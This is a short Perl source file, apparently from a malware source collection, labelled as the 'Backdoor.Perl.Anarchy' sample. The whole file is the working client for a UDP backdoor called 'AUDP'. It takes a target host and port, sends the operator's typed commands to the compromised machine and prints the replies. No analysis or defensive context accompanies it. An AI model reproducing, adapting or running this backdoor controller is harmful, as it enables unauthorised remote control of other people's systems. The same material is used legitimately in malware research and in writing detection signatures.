MalwareSourceCode/Perl/Backdoor.Perl.Anarchy

use IO::Socket;
use Getopt::Std;

getopts('s:p:h', \%opt)||die("Error: Unable to get command line options !!!\n");

if(defined($opt{'h'})) { \&usage() }
if(defined($opt{'s'})) { $server=$opt{'s'} } else { \&usage() }
if(defined($opt{'p'})) { $port=$opt{'p'} } else { \&usage() }


$|=1;
$maxlen=1024;

$sock=IO::Socket::INET->new(Proto=>'udp')
or die("Error: Cannot initialize socket !!!\n");
$ipaddr=inet_aton($server);
$portaddr=sockaddr_in($port, $ipaddr);


print("\nAUDP Backdoor started.\n");
print("======================\n");

while(1) {
 print("=> ");
 $mesg=<STDIN>;
 chomp $mesg;
 if($mesg=~/^\s*(exit)|(quit)\s*/i) { exit(0) }
 if($mesg!~/^\s*$/) {
  send($sock, $mesg."\n", 0, $portaddr)==length($mesg."\n");
  
  while($portaddr=recv($sock, $msg, $maxlen, 0)) {
   if($msg=~/^\-end\.$/) { last } else {
    print $msg;
   }
  }
 }
} 



sub usage() {
   print("\nAUDP - Programmed by Anarchy\n");
   print("============================\n");
   print("Usage: AUDP -s <host> -p <port>\n\n");
   exit 1;
}